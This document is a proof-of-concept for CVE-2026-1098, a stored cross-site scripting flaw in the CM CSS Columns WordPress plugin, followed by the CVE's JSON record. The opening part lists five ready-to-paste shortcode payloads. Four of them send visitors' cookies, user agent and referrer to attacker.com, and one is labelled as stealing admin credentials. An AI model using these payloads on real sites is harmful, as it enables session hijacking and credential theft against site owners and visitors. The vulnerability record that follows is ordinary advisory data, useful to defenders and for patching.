CVE-2026-1098

<!-- WordPress CM CSS Columns Plugin XSS PoC --> <!-- Author: Security Researcher --> <!-- Target: CVE-2026-1098 --> <!-- Method 1: Basic XSS via tag attribute --> [cm-css-columns tag='<script>alert(document.cookie)</script>'] <!-- Method 2: Image onerror XSS --> [cm-css-columns tag='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] <!-- Method 3: SVG element XSS --> [cm-css-columns tag='<svg/onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>'] <!-- Method 4: Iframe injection for session hijacking --> [cm-css-columns tag='<iframe src="javascript:document.location='https://attacker.com/phish?cookie='+document.cookie">'] <!-- Exploit: Steal admin credentials --> [cm-css-columns tag='<script>fetch("https://attacker.com/exfil?p="+btoa(JSON.stringify({cookie:document.cookie, ua:navigator.userAgent, ref:document.referrer})));</script>']

{"cve": {"id": "CVE-2026-1098", "sourceIdentifier": "[email protected]", "published": "2026-01-24T09:15:53.353", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CM CSS Columns plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tag' shortcode attribute in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin CM CSS Columns para WordPress es vulnerable a cross-site scripting almacenado a través del atributo de shortcode 'tag' en todas las versiones hasta e incluyendo la 1.2.1 debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cm-css-columns/tags/1.2.1/includes/Shortcoder.php#L109", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cm-css-columns/trunk/includes/Shortcoder.php#L109", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dabcc606-04ab-4fb0-bf3c-d3ad915b8904?source=cve", "source": "[email protected]"}]}}